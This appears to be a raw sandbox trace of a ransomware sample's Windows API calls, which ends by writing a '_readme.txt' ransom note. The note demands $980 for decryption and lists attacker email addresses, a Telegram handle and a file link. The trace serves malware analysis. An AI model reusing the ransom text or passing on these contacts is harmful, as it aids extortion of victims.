dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.717] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.717] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.718] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.718] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.719] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.719] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.721] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0116.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.721] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.721] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.722] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.722] PathFindFileNameW (pszPath="") returned="" [0116.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.722] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.722] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.722] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.722] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.722] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.722] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.722] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.722] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.722] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dcb30 [0116.722] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0116.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.722] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.723] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0116.723] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.723] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.723] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal 